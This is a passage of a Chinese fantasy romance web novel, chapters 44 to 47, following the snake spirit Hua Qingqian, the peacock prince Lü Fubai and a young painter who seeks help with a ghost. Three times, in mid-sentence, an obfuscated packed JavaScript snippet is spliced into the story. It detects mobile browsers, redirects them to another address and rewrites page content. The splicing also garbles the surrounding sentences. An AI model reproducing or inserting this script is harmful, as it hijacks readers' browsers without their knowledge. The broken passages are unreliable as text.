月下迟疑地回答:“可是,尊后也不一定是为了尊上而哭吧。” “不可能,咱们两只大帅鸟在这,她却没有丝毫邪念,这肯定是对尊上余情未了。” “你忘了在慕城的时候,尊后不是说过,她已经与咱们尊上再无瓜葛——” 那一听就是气话,尊后以前爱尊上爱成那样,怎么会忽然就不爱了?山下没好气地看了弟弟一眼,觉得他不仅不会说话,脑子还笨,这次来五门峡就不该带他。 山雀两兄弟这番密谈,花清浅浑然不知。她哭够之后,只觉得心头竟开阔了些,也不再那么消沉了。 这些天玉京子和吕浮白对她明里暗里的关心,她都看在眼里。既然东方容楚是一段注定不了了之的短暂缘分,她就要拿得起放得下,放过自己,也放过一直陪在她身边的人。 “有朋自远方来,不亦乐乎。”花清浅擦擦眼睛,从湖面上收回视线,看着山下两兄弟说道,“你们来趟京师脚下不容易,就要好好看一看,吃一吃。走吧,我请你们吃豆糕去!” 山下与月下自然欢喜应是。几人令画舫靠岸,花清浅走在最后,要踏过船沿的时候,前面的山下殷勤朝她伸出手,想扶着她走。 船沿那道缝隙小得可以忽略不计,她又不是腿断了,也不是要对书生装柔弱的时候,哪里需要人扶着过?她正要打掉那只手,叫他好好走路,却见旁边又伸过来第二只手。 居然是吕浮白。 他左手提着一袋她数十日前随口说要吃的年糕,右手稳稳伸出,且巧妙地拦在了山下面前,让她只能握得到他的手。 山下被上神威压吓得不敢说话,默默缩到了后边。 “行了,你放一百个心,我不会占你们鸟族的便宜。”花清浅看见吕浮白执拗的眼神,以为他要保护山下的清白,有些无语地冷笑道:“你们鸟儿可真会护着同族。” 她没有扶他的手,自己轻巧地从船沿跳下来,正要领着其他几人去饭馆,刚走出一步,就被吕浮白抓住了衣角。 “我不是回护鸟族。”他藏起所有的酸涩妒忌,学着东方容楚的样子,温声朝她解释:“我只是想让你知道,年糕我买来了。” 他只是,不想看见她握住别人的手。 花清浅这才知道她误会了,一时尴尬摸摸鼻子,说道:“哦,这样,那不好意思啊,你早说嘛。正好饭点到了,咱们找个饭馆坐下,叫我看看你买的年糕正不正宗。” 片刻后,一行人走进玉京子挑中的富丽酒楼,还没落座,就被一位衣衫褴褛的老妪拦住了去路。 大概是看他们衣着不凡,那老妪极力朝几人推销她手里的花篮: “各位贵人看看吧,这是情人花的种子!只要和心仪之人一起吃下这种子,便能听到彼此的心声!只要一贯钱,比这里一顿饭钱还便宜,拿了情人花,不用再担心词不达意,言不由衷!” “童叟无欺,假一赔十!贵人看一眼吧,就当赏老婆子一口饭吃!” 44. 第44章 这老妪篮子里的情人花是真的,不过她出现的时机太不凑巧,花清浅情人已去,接下来很长一段时间不会需要这种花了。 看这老妪一把年纪还要推销花种,花清浅觉得她也挺不容易,便出钱买下了她所有的存货。 “你拿着吧,就当是我先前误会你的赔礼。”她转向吕浮白,示意他收起那老妪的花篮,“你不是不会说话么?找个时间,跟你那意中人一起吃了这种子,不用你开口说话,她也能明白你的心意。” 她一面说着,几人一面在饭馆二楼的雅间落座。吕浮白替她倒好茶水,轻声道:“不用了。” 花清浅不解:“为什么,难不成你们已经和好啦?” “不是。”只听他静静道,“是我那意中人喜欢上别人,不要我了。” 那他可真够惨的,怪不得前几日总是愁云惨雾,一副怨夫相。花清浅与玉京子对视一眼,努力安慰他道:“她看不上你,说明你们缘分没到,这也是没办法的事,你别太伤心了。” “对对对,不说这个了,咱们吃饭,吃饭。”玉京子见吕浮白神色如常,似乎不怎么伤心,便也放松下来,挥舞着菜单问花清浅要几份豆糕比较合适。 一顿饭后,山下与月下受不住吕浮白如有实质的目光,自觉主动提出告辞。 玉京子按照约定给了他们银子,山下不肯全收,与他拉扯许久,旁边月下趁机朝花清浅身边挪过来,他手里抓着一只灰白相间的软枕,支支吾吾地说道: “记得清浅姑娘喜欢鸟族的羽毛,这、这是我们兄弟二人的尾羽织就……躺在其上,跟躺在我们肚皮上没什么分别……还、还请姑娘收下。” 灰背山雀的羽毛不算华丽,可胜在触感柔滑,花清浅接过软枕,抚摸两下,只觉指尖仿佛穿梭在云里,颇有些爱不释手,高兴同他们道谢,一挥手又送了很多银子出去。 吕浮白静静看着她,听她说“枕着这个枕头,我今晚能睡十个时辰”,语气夸张,仿若回到长生界的当年。 - 天历五十六万四千九百五十二年冬,蛇谷附近的犀漆地梅花开得极好,应犀牛族之邀,很多蛇族都去了那里赏梅。花清浅不在受邀之列,她也不想跟一帮犀牛在雪泥里打滚,便没有跟着去。 玉京子要冬眠,她在他周围设下结界,只身一人来找傅玄。 长生界内一年四季温暖如春,但因为生机太浓,灵植可超脱常理生长,她在长生山上亲手种了两排梅花,时令一到,这两排梅花便如外界一般盛放。 “神君神君!”她拉着他来到梅花树下,同他一起嗅着梅花香气,有些小得意地说道:“我种的这梅花真好看,神君你说是不是?” “是。” “那神君,你是不是该给我一些奖励呀?”她美滋滋背着手看他,“好歹我这也是为你的长生界添了色,虽然我毫无所求吧,但你要是能给我些神器就更好了……要是能给我一小根凤凰的尾羽,就再好不过啦!” 傅玄沉吟片刻,还是答应了她,但在给她凤凰羽以前,又嘱咐道:“我身上羽毛属火,克化时切不可操之过急,否则会反噬了你自己的灵脉。” 他显然是一片好心,但花清浅却仿佛遭到污蔑一样,愤慨地叫出声来。 “我才不会克化神君的羽毛,这不是暴殄天物嘛!你羽毛那么好看,我怎么舍得克化掉?” 她打开乾坤袋,先前他那支尾羽赫然在最显眼的地方珍重藏着:“我要你的羽毛并不为提升修为,只是为了、为了——为了每天看着,我就已经很开心了。” 傅玄愣在原地。 “我之前就喜欢收集鸟族的羽毛,不知道为什么,好像我遇上的鸟儿都很喜欢掉毛,掉的羽毛还都很好看。” 听到这里,傅玄眸色渐冷,她却浑然不觉,还在继续说:“但是拿到神君你的凤凰羽之后,以前那些羽毛都被我扔啦!” 傅玄问:“为什么扔了?” “因为我发现,我原来不是喜欢所有的鸟。”她扬起脑袋,一双多情的暖棕水眸鼓起勇气与他对视,“我喜欢的,只是凤凰神君这一只鸟。除却巫山不是云,看过了你这样漂亮的尾羽,我就再也看不上其他鸟儿啦!” - 吕浮白不能控制地往这边迈出一步,几乎想要出声提醒某条忘性大的小花蛇,她曾在凤凰神君跟前说过什么。 她说过的,曾经沧海难为水,她只喜欢傅玄一人的华丽尾羽,其他鸟族的羽毛她都不屑一顾。她说过的。 她怎么能这么轻易收下其他鸟族的羽毛? 那灰扑扑的山雀尾羽做成枕头,还要与她日夜作陪;而凤凰神君的羽毛,却已经消失在了八苦清火里,连被她克化的资格都没有—— 他极力平心静气地看向别处,可还是忍不住呼吸间的颤抖。 心里有什么碎落一地,疼得无法收拾,自从遇见东方容楚以来,他原本已经熟悉了这种疼痛。 但如今亲眼目睹她收下别人的羽毛,他却仍是猝不及防,甚至略带迷茫地想,这一切是真实的吗,长出情根的一颗心,怎么会痛到这种地步。 “回去了给我报个信,下次记得来慕城玩啊!”花清浅把那两只山雀送上船,使劲朝他们挥手,直到船只消失在天边才收回目光,对玉京子和吕浮白说道:“走吧,咱们也该回家了。” 她转过身,玉京子咬着豆糕跟上来,吕浮白却仍立在原地,定定地看着虚空里的某一点,不知在想些什么。 这孔雀世子怎么总爱发呆,她好奇地回头凑近了些,叫道:“吕浮白,想什么呢?” 他一个激灵回过神来,没头没脑地说:“你能不能别要别人的羽毛了。” “啊?”花清浅一愣。 “我的羽毛在这里,给你。”他拉起她的手,在她手心放下孔雀族特有的蓝绿色华丽尾羽、腹部胸部的绒羽、甚至还有背部簇羽与冠羽,有些根部还带着血,被他不动声色抹干净: “我的羽毛比其他鸟的更好看,做枕头也更好——你能不能,别要他们的羽毛了。” 花清浅一时听不明白他的意思,但她看着这一大摞的羽毛,简直大为震撼。 “你还有收集自己羽毛的习惯?怎么随手就能拿出来一大捧……不过,好看是蛮好看的哦,这尾羽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575546|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟凤凰还有点像,果然是近亲呐。” 吕浮白手指紧了紧:“这是孔雀羽,跟凤凰不像的。”他已经尽力变得不像了。 “我知道嘛,我就是夸你好看。”花清浅笑道,“不过,你为什么这么嫌弃山下他们的羽毛啊?” 吕浮白没有回答,她便自己猜测,他多半是身为大明王世子的洁癖发作,嫌弃山下他们以色侍人惯了,羽毛被太多人枕过。 想到这里,她接过他递上来的羽毛,笑得更灿烂了些:“我知道啦,你也是为了我好。走吧,咱们该回家啦!” 回家。 吕浮白在心里反复琢磨思量这两个字,胸口疼痛稍减,像是被团云一样的蜜糖敷过,泛出轻微的痒。 “我可不会针线活,这些羽毛先放我这里,回去了你得帮我缝成软枕啊。”花清浅又说道。 玉京子插嘴:“你不会针线,人家吕浮白难道就会了吗,他可是大明王世子哎。不如我学着给你缝?” “不用,我自己来。”吕浮白微微转头,对上花清浅的视线,似有些不确定地道:“我手艺不算太好,但我会练,如果你不嫌弃——” 花清浅素手一挥道:“大明王世子给我缝枕头,我当然不嫌弃!”就把这事定下了。 两人对视一眼,眼中莫名都生出了些笑意,并肩往山道走去。玉京子觉得眼前这一幕有些诡异的熟悉,忙把吕浮白从花清浅身边挤开,就跟当初挤开东方容楚一样。 - 回到慕城,花清浅并没有如当初所想的一般一蹶不振,盘在被窝里疗愈情伤。 尽管天法司那边发展得如火如荼,但花清浅在外的名声还是更响亮一点,且许多妖族女子不方便求助官府,来找她总是更稳妥的选择。 回到小院之后,花清浅治好了一名鹿妖折断的蹄子,超度了两名留恋人世不走、把未亡人吓得魂魄半出窍的死鬼丈夫,马不停蹄过了两三日,这才将小院门口积聚的人堆清走。 如此一折腾,加身的功德再次多得漫溢出来,趁着功德正热,又有上神在旁,她便趁机请吕浮白为她护法,用两名未亡人所赠的谢银摆阵,再问了一次天。 吕浮白立在玉兰树下,看着她虔诚闭起双眼,纤长浓密的睫毛缓缓合拢,片刻后睁开,面前的银阵却是纹丝未动。 “怎会如此?”花清浅大吃一惊道,“功德明明还够,怎么会没有卦象?” 闻言,吕浮白微不可见地摇了摇头,开口提醒道:“天地灵气已然调动,便是摆阵表相不变,亦是卦象。” “哦,原来是这样。”花清浅松了口气,“可我问的是‘香染是否有危险’,这个空白卦象什么意思,要如何解?” “此卦名为虚无,意指飘渺不定,答案随心。”吕浮白说,看她因为这个回答疑惑地皱起眉,忍不住问她:“神君当初没有给你讲过这些么?” “嘿嘿,他、他自然是给我讲过。”岂止讲过,傅玄当初可是把扶乩的发源、分类、方法、解卦从头到尾讲了个遍,她做的笔记加起来能有三尺厚。 但很可惜,那些笔记被她留在了长生界,没带在身上。 45. 第45章 “傅玄说,这些都是要紧的知识,但我才懒得学扶乩那些复杂的规则,便光学了个皮毛,如今偏门些的卦象都忘得一干二净啦……” 毕竟那时她有神君陪着,想问什么都能问,何必还要舍近求远,劳烦天道呢? 她说得理直气壮,吕浮白心道怪不得,她不仅不会解卦,连问天的方式都不对。 “天道解语非人言,以银阵问天,问题不宜过于笼统。”他耐心提醒道,“如今还有功德富余,你想问什么?” “问我该朝哪个方向走,才能找到香染。”花清浅说。 在吕浮白的点拨下,她大概理解天道语焉不详的解释了:之前提问“香染有没有死”,这是客观问题,天道可以给她一个简单利落的结果;然而问香染有没有危险,前提是要解释这个“危险”到底是什么程度。 是被困于某地就算危险,还是需要强敌环伺才算危险?香染所处的环境一定十分复杂,以银子为口舌的天道说不清楚,所以才会显示虚无卦。 既然香染所处情况一言难尽,那她干脆不问这个了,先找到娘亲再说。 这次她请吕浮白代为问天,他没有推辞,沉冷黑袍飘举,二指并拢,指诀即成,一股灵力举重若轻打到银阵里。 旁观的花清浅与玉京子只觉天地间气息都为之一变,阵中银锭纷纷如棋盘上的棋子般规整排出行列,一瞬间后首尾相连,最终形成一个圆环。 终点即起点,这是天山不动卦,天道要她老实呆在原地,不要动弹,缘分自会寻上门来。 “倒是省事了。”花清浅感应到阵中一股别样的灵气,知道这是天道附赠的提示,不由笑了一下。 玉京子不懂卦象,问她为何省事,听完她的解释后发出一声惊呼:“你什么都不做就能找到娘亲,那天道的意思岂不是说,你娘亲会主动来寻你?” “那就不知道了,且等着吧。”花清浅打发他去扫院子,转过头往吕浮白身边走了几步,打量着他:“世子殿下,你这问卜的本事不输真神啊。” 以前她问天占卜,天道最赏脸的时候也不过是有什么答什么,可不会附赠温馨提示,这显然是他的手笔。 “过誉。”吕浮白淡淡道。 “我没有奉承你,说真的,你刚才那股灵力也太厉害了,跟凤凰神君没什么两样! 可能你们鸟族都这么厉害吧,连扶乩一道上都是天赋异禀……唉,这东西真有用,早知道我就把落在长生界的笔记拿出来了。” 至于为什么不拿,显然是怕碰见傅玄。 看清她眼底的排斥,吕浮白抿了抿唇,低声道:“你于扶乩有什么不懂之处,问我便是。”她不去长生界也没关系,只要她肯学,他再教她一遍又何妨。 “好!”花清浅就等他这句话,生怕他反悔,立刻一口应下。 她让吕浮白先站在那,自己飞奔去地窖,石青色百草纹罗裙裙摆在空中翻飞出好看的弧度,过不多久折返回来,手上拿着两杯年前酿的腊梅酒,瓷白小脸上满是得逞笑意,口中念道:“孔雀师父在上,受小花蛇清浅一拜,嘿嘿。” 听她如此自然地叫他师父,吕浮白原本清冷沉稳的目光忽然一凝。 从前,花清浅绝不肯与他师徒相称。她的理由是“小蛇资质平平,不敢辱没神君门楣”,后来他才渐渐察觉,她其实是不想固于师徒之礼。 但今日,她随口就能叫他一声师父,显然一丝一毫的旖旎念头也没有。 就像创世神曾经告诉过他的那样,神仙即使寿命漫长,也需珍惜当下,因为错过就是错过,凡是失去的,必不会再得。 必不会再得……他心中微颤,泛出些无可奈何的酸涩,仰颈饮下她的酒,并没有应她那声称呼。 “我只是指点你一两句。”过了许久,他才开口说道,“是以不必叫我师父。” 他不想做她师父。 他看着她因饮了两口腊梅酒而泛起绯色云霞的小脸,默默想道。 他想做她最亲近、最狎昵、最贪心不足、最不如师如父的……夫君。 - 不知是不是吕浮白干扰了天地灵气的缘故,上午问天时天色还正好,刚吃过饭,便忽然有狂风大作,夹杂着豆大的雨点席卷慕城。 花清浅靠在窗前,望着院内被风吹得歪斜的花枝出神,一张明艳的小脸在暗淡天光下也显得格外夺目。见她神情怔忪,长睫一动不动,玉京子以为她对草木起了怜惜之意,嚼着肉干建议道: “不如你放出灵力屏障,把小院整个罩起来?就跟之前出发去京师一样。”好让风雨都进不来,花草也不会凋零。 “我为何要如此浪费灵力?”花清浅奇怪地看向他,“这些花本来就是要凋落枝头的,早凋一日,晚凋一日,又有什么区别?” 玉京子无语凝噎。“不是因为怜惜花草,那你一脸惆怅盯着那棵玉兰做什么。” “后悔啊。”她素手支着小巧精致的下巴,长叹一口气,“玉兰拿来酿酒也不错,我本想过几日碾碎花瓣加蜂蜜酿酒,现在这场风雨忽如其来,玉兰花都落到土里,做不成酒了。” 被她这么一说,玉京子也感到颇为可惜。蜂蜜玉兰酒哎,听起来就很美味,他咽下最后一根肉干,朝地窖走去,准备取一坛别的蜂蜜酒暂且解解馋。 吕浮白坐在饭桌边,将两人的对话听得清清楚楚。他知道,她没有说实话,只是玉京子好糊弄,被她轻易用美酒引开了视线。 她手心握着某个圆润的、玉质的东西,放在胸前挨着,他不用猜也知道她在想什么。 无非是院内狂风暴雨让她联想到了墨州战事,又顺着想到了那个书生而已。 那个书生。 那个差点在他眼皮底下勾走她、至今还在她心里阴魂不散的书生。 他抬起手,平静地点了盏灯,走到她身边,轻声开口:“清浅,冷么?” “啊?我不冷,这窗子是特制的,一点也不漏风。”花清浅回过头道,“这天气多适合睡觉,你回屋歇息吧。” 吕浮白没有动,她疑惑挑眉,问他还有什么事,他将灯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13582092|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盏往上提了提,说:“我陪着你。” “我就在这里站一会,没事的,你不用管我。” 他听了这话,却仍固执地提着灯,寸步不离守在她近旁。他掌中灯光照得周围亮堂堂一片,先前昏暗的感伤氛围消失殆尽,花清浅拗不过他,只好收起那枚月光珠玉,自行回房歇息。 这一歇息,就歇到了次日清晨。 蛇族本就能睡,问天时她又喝了些酒,这一觉睡得更沉。若不是玉京子一大早在院子门口大呼小叫,把她从梦中吵醒,她能一直睡到下午去。 “清浅!清浅,这里倒了个人!”玉京子早起正要去酒楼买菜,一开门就见到一个人影软软向前倒来,他连忙把人扶住,又急又怕,六神无主地高声叫道:“快来,这人莫不是死了罢!” 花清浅从床上惊起,顷刻间披好衣裳,闪身来到门口,伸手探了探来人鼻息,松了口气:“叫什么叫,这人没死。” 此时吕浮白也已经起床,穿戴整齐守在一边,她叫玉京子继续去买饭,吕浮白帮忙把人扶到室内,她扶着来人的另一边胳膊,不经意间瞥了眼这人的面容。 来人一身粗布麻衣,头发用一根竹木发簪松松垮垮绾着,眉目生得极为秀气,即使口唇边缘有一圈泛青的胡茬,看起来也是个清隽的男子。 但不幸昨日下了场暴雨,现在还有稀疏的雨丝飘落,此人脸上青色的胡茬被雨水冲缺了一角,原来那胡茬是用笔画上去的——画得极为逼真,此人女扮男装定是下了大功夫。 这个年头,大焱民风虽比穎朝开放,可对女子的束缚也不算少,此人女扮男装不稀奇。稀奇的是,她天灵盖处有丝丝缕缕的灵气环绕,与昨日花清浅问天时感应到的灵气相同。 “天道让我在此等候,等的人莫不是她?”花清浅把人送到榻上安顿好,同吕浮白说道。可惜此人一眼就能看穿是个凡人,没有半分蛇妖的气息,应该不是香染。 吕浮白也记得昨日天道泄露的气息,点了点头。 此人没有外伤,观其脸色,晕倒应该是淋了冷雨,困饿交加所致。花清浅给她嘴里灌了些温汤,坐在榻边等着,果然过了不多时,榻上的人便悠悠转醒,睁开了眼睛。 “你胡子早掉了。”见她醒来第一个动作是摸下巴,花清浅好心提醒道。 “哦、多、多谢姑娘。”那人把剩下的胡茬一把抹干净,有点不好意思地看向花清浅,只看了一眼,便顿时愣在了当场:“姑娘你好美,怎么长成这样的!” 从小到大,花清浅被太多人称赞过漂亮,这么直白的也不是第一次听,当下很自然地说:“我知道我美,你不必这么惊讶。” 怎么又要来一个女版的东方?吕浮白微微眯起眼,正要上前一步,把这人与花清浅隔开,就见她变戏法似的从衣兜里掏出纸笔,举在胸前央求道: “姑娘这么好看,不画张肖像可惜了,让我给你画一幅吧?我给好多美人都画过像,绝对能把你的美色画出十分,不信你去问隔壁蔗县花魁,我一张像帮她揽了上百的贵客呢!” 46. 第46章 一想起胡紫之前所说,她的画像随凤凰神君的一起在下界某些人手里广为流传,花清浅对肖像就敬谢不敏。 “还、还是不了。”她反射性地摇头,随即把话题引回正事:“肖像什么的不急,咱们还是说说你吧,你叫什么名字,干什么的,为何会出现在院子门口?不用急,慢慢说。” “我叫思竹,思恋的思,竹子的竹。我是画画的,前来找清浅姑娘,因为人人皆知,慕城花清浅本事不凡,曾得上古真神亲传……” 呃呃,用凤凰神君的名号在外招摇,被撞破了怎么办? 花清浅余光偷偷瞥向吕浮白,果然见他含笑望了她一眼,她又羞又恼,拿袖子捂住脸,使劲咳嗽两声,恨不得在榻上凿出个棉花洞钻进去。 不过还好,思竹没有就“真神亲传”这一点展开说,很快就进入了正题。 - 思竹其实并不是大焱子民,她本是穎朝人,她爹还曾在穎朝买官做过通判。 在九岁以前,思家家境富得流油,因为思竹喜画,思通判便请了最有名的丹青先生来教她。 普通人省吃俭用一整年才买得起一张的金纸成摞地堆在她的闺房,珍稀颜料、古玩画笔等物更是从未短缺。 思竹也对得起爹爹的这番奢侈,她年仅九岁便从先生手下出师,消息传开以后,有不少画师以为这是通判家自导自演的噱头,忿而前来挑战,却不想十个有十个都铩羽而归。 他们与思竹同题比试的画作被思通判贴在自家院墙外,供来往行人观赏品鉴。自此,所有人都知道,通判大人的千金乃是位丹青天才; 与此同时,当地再无人敢教思竹画画,她还因此埋怨了爹爹一番,准备动身前往李家湾——相传有一只鲛人在那里上岸,可用海水与珠泪作画,她想去拜访这位鲛人,最好能拜其鲛为师。 然而李家湾曾有魔族猖狂肆虐,思通判怎么说也不许女儿前去,思竹觉得那里魔族早就被荡涤干净了,爹爹真是迂腐,跟他大闹了一番脾气,说出好些赌气伤人的话来。 “你说什么了?”花清浅问。 “我……我说他不是个好官,总该做个好爹,可他处处束缚于我,简直连好爹也不算。” “我一直都知道,爹爹不算是个好官。他一直利用职务之便,私底下贩卖官盐,但我享受着他带来的荣华富贵,是最没资格这样说他的人。” 思竹现在也看着不大,不过十五六岁的年纪,回忆到此处,稚嫩眉眼却出现了一丝而立之年的沧桑与悔恨: “而且他算是天底下最好的爹,我、我知道的,他有些事做得荒唐,那也是因为他太爱重我,打心眼里想要炫耀我。” 就像那些前来挑战的画师,思竹不喜欢把他们和她的画作直接挂起来供众人对比,她于画道虽争强好胜,可也点到为止,分出高下便罢,并不想羞辱对手,因此总觉父亲举止欠妥。 其实细想一想,在思通判眼里,自家女儿年纪轻轻就打遍众多画师无敌手,可不得好好跟百姓们得瑟一番? 那时思竹尚未明白父亲朴素的爱女心理,灾难却早已降临到思家头上:由于思通判偷卖的盐价比别人低好几倍,几家利益有损的私盐商贩合伙做局,查出了他偷运官盐的路子,揭发他官盐私卖。 人证物证俱全,此案送到当地知府桌上,知府念在这位下属往年断案有功(也给他这位上司孝敬不少),只收走了思家全部家资,没有将思父凌迟问斩。 富丽堂皇的家宅没了,由于最后一批官盐被截,货款被官府收走,往日私盐买主成了债主,思父遭受不起打击,脱下乌纱帽的当日撞死街头,思家仆人树倒猢狲散; 思竹没有任何悲痛的时间,因为外有债主虎视眈眈,内有母亲连夜病倒,她必须赚钱,赚很多很多的钱,才能把债还上,才能给母亲治病。 这就是她的十一岁。 她想卖画赚钱,可是思家的名声已经臭了,她的画再好也无人肯买。眼见母亲病得越来越重,性命危在旦夕,思竹没有办法,只好抹去画作上的署名,暗中找到从前上门挑战的画师,求他们收下自己的画。 思竹闺中没见过人的画作有三十五幅,每幅画所用笔墨纸张都是千金难买,署上别的名字,转手一卖就能卖得天价,可即便如此,那些画师也不愿意收。 画师们先前遭到思通判大肆羞辱,被全城百姓耻笑画技还不如一个十岁女娃,心里都憋着火,想从她身上找补回来。思竹便也遂了那些人的意,她低声下气地讲述思家败落的故事,泪眼婆娑,姿态极其卑微,甚至不吝啬跪下。 一户户画师见过去,她的膝盖跪到红肿,最后画作卖完,统共拿到了三十六吊钱,够请一次郎中,熬三日的药。 在那之后,她不再给画作署名,甚至不再费心创作、寻找灵感,而是什么赚钱,她就画什么。 古画仿真来钱最快,她就一心仿古,前朝竹言大师的画价格最高,她就埋头模仿他的画。 思竹人如其名,从小便最爱竹子,因此对擅长画竹的竹言本来就很了解。竹言大师与其他画竹大师不同,他画的竹子往往不是成片成林,而是孤孤一竿,拔地而起,颇有些傲然出尘、看不上其他竹子的味道。 她照着画馆老板给的原作,描出成百上千幅孤竹图,半点不害臊地写上“竹言亲笔”四个大字。如此多次描摹,她勾画越来越快、下笔越来越准,冥冥之中竟总有一种感觉,仿佛有人在同她一起握着笔端,共同描出了那一幅幅大师遗作一般。 讲到这里,思竹语速变慢,仿佛讲到了重点:“一开始,我以为那是错觉,努力想要忽略,但到后来这种感觉越来越明显,怎么也忽略不了。” “有一日,我拿着竹言最有名的那幅孤竹长卷临摹,眼前忽然一花,浮现出一幕画面,像是古时候的战场,残阳如血,原上一马平川,全是些低矮杂草,唯有一根悬铃竹高高耸起,直指苍穹,像是能捅破天去,最后却被乌云吞没……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591324|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 丹青小天才的精神世界太绚丽,花清浅听着只觉得美,对她想表达什么却是一无所知。她拍了拍思竹的肩膀,小心问道:“所以你的意思是,你进了竹言的那幅画,结果进到了一个古战场?” “当然不是。”思竹莫名其妙地看向她,“画是画在纸上的,人怎么会进到纸里?” “有的画在纸上自成结界,怎么不能进——算了。”花清浅闭上嘴,把话题拉回正道,“你继续说你的。” “那个古战场的幻象只持续了一瞬,但因为画面构图太美,我久久难以忘怀,当天连夜把它画了下来。”思竹拉开松松垮垮的粗布衣裳,从腰间绑带里抽出一卷草纸,展开在榻上。 花清浅帮她按着画卷两角,与吕浮白一起凝神看着这幅画。思竹描述得不错,赤红的余晖从天边洒落,像是无尽的鲜血,周围山峦起伏,画面的重点在群山环绕的一块平原,大片草木萎靡如灰,唯有画面中央偏左的那根悬铃竹,以及悬铃竹右方的水光点点泛出亮色。 奇怪的是,这幅画明明色彩鲜艳,笔触灵动,可整体看上去却是一片死气沉沉,像是缺了什么极其重要的东西。 花清浅也不懂画画,怕贸然评论会引得思竹不满,就把这点评论吞回了肚子里。 “关于这根悬铃竹,后来我搜集了竹言所有的画,发现他画的竹子全都是这根竹的一个侧影。”思竹按着画卷边角,指向画中悬铃竹的各个部分: “我把这个猜测说给画馆老板,老板还觉得我痴人说梦,因为照此推算,画中完整的悬铃竹得有八十尺长,世上根本没有这样长的竹子。” 花清浅与吕浮白对视一眼:其实是有的,若竹木生灵,勤加修炼,原形完全可以长到这么高。 这前朝的竹言大师,莫不是毕生都在描绘一竿竹妖? 思竹没注意到两人视线交汇,自顾自说:“其实这根竹子长得多高,于我也没什么所谓,只是……从画下这幅画以后,我就发现,我画画的灵气在逐渐流失。” “你们看这幅画,难道不是死气沉沉的么?”她摸着画卷上悬铃竹那块斑驳的墨迹,发出一声叹息,“刚画好的时候,它可不是这个样子的。现在这幅画就好像……就好像死了一样,灵气都被抽干了。” “我去问了街上的神婆,神婆说是有小贼偷我画的灵气,要我出三块银子跟她买符咒防贼。我买了,可是没有效果。”思竹皱着眉,摆出三根手指头,强调神婆收费之高: “我再去找那神婆,她摆的摊却已经荒废,周围相熟的人跟我说,她已经驾鹤西去了。清浅姑娘,你说说,这不算是我害死的她吧?” 花清浅觉得她一本正经的小样挺可爱,这时玉京子终于回来,她隔空取来两个烧饼,给思竹一个,自己拿着另一个咬了一口:“嗯,不算。” 若是害死过人,就算无心之失牵连,身上也会落下因果。然而眼前这小姑娘的魂魄干净得很,放眼望去能望到底,没有半分孽果的影子。 47. 第47章 “是吧,我想也不算。”思竹也啃了一大口饼,口齿不清地说道:“我后来自己想了想,那神婆是个半吊子,估计没有什么小贼,我画的灵气之所以丢失,只是竹言的鬼魂前来找我了。” 花清浅喝着温茶,还没来得及开口,便听她嚼着烧饼继续说道:“估计是我仿了太多他的画,他老人家不高兴,想给我一个警告。 求求姑娘帮我驱鬼,顺便帮我给他说一声,我知道错了,现在我们家债已还清,母亲的病也好了,我们娘俩来到大焱定居,跟以前的画店老板已经没有联系,如今我每日想画什么画什么,不会再仿他的画了。” 花清浅观她言行举止,好像真的别无他事,来此只为驱鬼。 这么一个从没见过香染、对妖鬼之事一知半解的凡人,天道为何叫她特意留心,难道只是为了叫她陶冶情操、学会赏画么? 她心生疑惑,又仔细看向天道指引的丝丝灵气,发现那灵气原来不是自思竹天灵盖发出,而是来自她的发簪。 那节竹木发簪。 古战场,悬铃竹,大师竹言倾尽一生描绘的竹节,会生出灵气的竹簪—— 花清浅忽然福至心灵,伸手指了指思竹头上的木簪,问道:“这簪子式样真古朴,你是从哪里买到的?” “哦,这个不是买的,是我从地上捡来的。那天我在捡柴禾,碰巧见到这根悬铃木,觉得它很像竹言画里的竹子,就稍作打磨,做成簪子绾发了。你看看,像不像?”思竹爽快地拿下发簪,递到花清浅手里。 她发丝微乱,全数流泻下来披在肩上,倒显得一双眼睛更加灵动,亲热地挤在人手边,活像一只自来熟的小犬。花清浅一面接过簪子,一面忍不住为她理了理头发,正好触到她的耳尖。 吕浮白看思竹一双耳朵在她素手下腾地变红,眼神起了些狐疑,好在花清浅下一刻便收回了手,用心研究起那节木簪。 一边嚼着油饼的玉京子也蹭过来凑热闹:“怎么回事,清浅你看上人家簪子了?” 他手里的油饼刚蘸过白糖,糖粒将掉未掉,花清浅嫌弃地将簪子拿远了些:“没有。我只是突然发现,这簪子似乎另有玄机。” “什么玄机?” “这里面附着一片仙人的元神。”花清浅手心亮起一团蓝色灵光,凝神感知,“这片元神残缺过甚,本该逐渐消散,近日却得到充沛的灵气,稳固了下来。” 